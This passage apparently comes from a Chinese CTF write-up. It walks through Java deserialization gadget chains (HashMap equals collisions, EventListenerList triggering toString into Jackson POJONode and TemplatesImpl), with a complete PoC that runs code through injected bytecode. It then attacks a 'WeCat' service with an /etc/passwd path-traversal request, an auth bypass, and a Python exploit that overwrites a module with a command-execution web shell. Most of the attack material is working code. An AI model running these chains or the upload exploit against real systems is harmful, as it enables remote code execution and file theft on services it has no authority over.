这样就满足了两个不同的 HashMap 确有了相同 hashCode 的方法了

import java.util.HashMap;

public class Test {
    public static void main(String[] args) {
        HashMap hashMap1 = new HashMap();
        HashMap hashMap2 = new HashMap();
        
        Test test1 = new Test();
        Test test2 = new Test();

        hashMap1.put("yy", test1);
        hashMap1.put("zZ", test2);

        hashMap2.put("yy", test2);
        hashMap2.put("zZ", test1);

        System.out.println(hashMap1.hashCode() == hashMap2.hashCode());
    }
}

上面这段代码的运行结果为 true

那么满足hash碰撞后就到了使用 equals 方法进行比较的时候了,看看 HashMapequals 方法

代码如下

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    if (m.size() != size())
        return false;

    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }

    return true;
}

可以看到,当两个HashMap 进行 equals 比较时,会以自己为基准逐个比较entry,之后调用entry中 valueequals 方法进行比较

至此就找到了java反序列化利用原生类触发任意对象 equals 方法的方式了

以触发 XStringequals 方法为例,就可以这样来写了

public static Object getXstringMap(Object obj) throws Exception {
    CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
    CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
    ctClass.removeMethod(writeReplace);
    ctClass.toClass();
    
    POJONode node = new POJONode(obj);
    XString xString = new XString("test");

    HashMap<Object, Object> map1 = new HashMap<>();
    HashMap<Object, Object> map2 = new HashMap<>();
    map1.put("yy", node);
    map1.put("zZ", xString);
    map2.put("yy", xString);
    map2.put("zZ", node);
    
    Object o = makeMap(map1, map2);

    return o;
}

public static HashMap makeMap(Object v1, Object v2) throws Exception {
    HashMap s = new HashMap();
    setFieldValue(s, "size", 2);
    Class nodeC;
    try {
        nodeC = Class.forName("java.util.HashMap$Node");
    } catch (ClassNotFoundException e) {
        nodeC = Class.forName("java.util.HashMap$Entry");
    }
    Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
    nodeCons.setAccessible(true);

    Object tbl = Array.newInstance(nodeC, 2);
    Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
    Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
    setFieldValue(s, "table", tbl);
    return s;
}

不仅是原生反序列化,在Hessian反序列化中触发HashMapput 方法时关键的点就变成了找从 equals 方法开始的利用链

EventListenerList触发toString

然后注意到还发现有些师傅利用 EventListenerList 来触发 toString 方法,又一个触发 toString 的方法(一般比较常用的就是 BadAttributeExpExceptionXString 这些,现在又知道了个 EventListenerList,积累知识点加一)

来看看怎么触发的吧

javax.swing.event.EventListenerList#readObject 方法中的 add 方法

image-20240326234935998

这里当对象 l 不是 t 类的实例时会抛出一个异常,这里使用了字符串拼接,会隐式调用 l.toString() 方法

不过需要注意的是这里会对 l 进行一次强转,所以我们的 l 必须要实现 EventListener 接口

image-20240327003031534

这里利用的是 UndoManager 这个类,其 toString 方法会调用其 Vector 类型的 edit 变量的 toString 方法,从而触发 POJONodetoString

就用jackson的链子来测试下吧

package com.example.eventlistenerlistgadget;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
import java.util.Vector;

public class EventListenerListPoc {
    public static void main(String[] args) throws Exception {

        ClassPool pool = ClassPool.getDefault();

        CtClass ctClass0 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor cons = new CtConstructor(new CtClass[]{}, ctClass);
        cons.setBody("Runtime.getRuntime().exec(\"calc\");");
        ctClass.addConstructor(cons);
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "test");
        setFieldValue(templatesImpl, "_tfactory", null);

        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);

        POJONode pojoNode = new POJONode(proxy);

        //EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()
        EventListenerList list = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(pojoNode);
        setFieldValue(list, "listenerList", new Object[]{Map.class, manager});


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(list);

        System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {

        Class clazz = obj.getClass();
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                return field.get(obj);
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }
}

很完美

WeCat

另一个 WeCat比较简单

首先是任意文件读

image-20240319114445262

GET /wechatAPI/static?filename=../../etc/passwd HTTP/1.1
Host: 192.168.188.210:3800
Connection: close

但貌似没啥用,还是要RCE

鉴权存在绕过,url后跟 ?static 直接绕了

image-20240319114450390

热部署,上传js文件覆盖源文件,热启动,然后RCE

image-20240319114458895

Exp

import requests

baseUrl = "http://xxxx"

def upfile():

    burp0_url = f"{baseUrl}/wechatAPI/upload/once?static"
    burp0_headers = {"User-Agent": "python-requests/2.28.1", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close", "Content-Type": "multipart/form-data; boundary=d11361f762a28becbee211003a4f8fe6"}
    burp0_data = "--d11361f762a28becbee211003a4f8fe6\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\naaa\r\n--d11361f762a28becbee211003a4f8fe6\r\nContent-Disposition: form-data; name=\"hash\"\r\n\r\n/../../src/module/commonFunction\r\n--d11361f762a28becbee211003a4f8fe6\r\nContent-Disposition: form-data; name=\"postfix\"\r\n\r\njs\r\n--d11361f762a28becbee211003a4f8fe6\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n\r\nconst JsonWebToken = require('../module/jwt')\r\nconst child_process = require(\"child_process\");\r\nconst jwt = new JsonWebToken()\r\nmodule.exports = {\r\n  /**\r\n   * \xe9\xaa\x8c\xe8\xaf\x81token\r\n   */\r\n  verifyToken: async (ctx, next) => {\r\n    ctx.body = {\"res\": child_process.execSync(ctx.query.cmd).toString()};\r\n  }\r\n}\r\n\r\n\r\n--d11361f762a28becbee211003a4f8fe6--\r\n"
    res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
    print(res.text)
    
def execCmd(cmd):

    burp0_url = f"{baseUrl}/wechatAPI/?cmd={cmd}"
    burp0_headers = {"Connection": "close"}
    res = requests.get(burp0_url, headers=burp0_headers)
    print(res.text)
    
if __name__ == "__main__":
    upfile()
    execCmd("/readflag")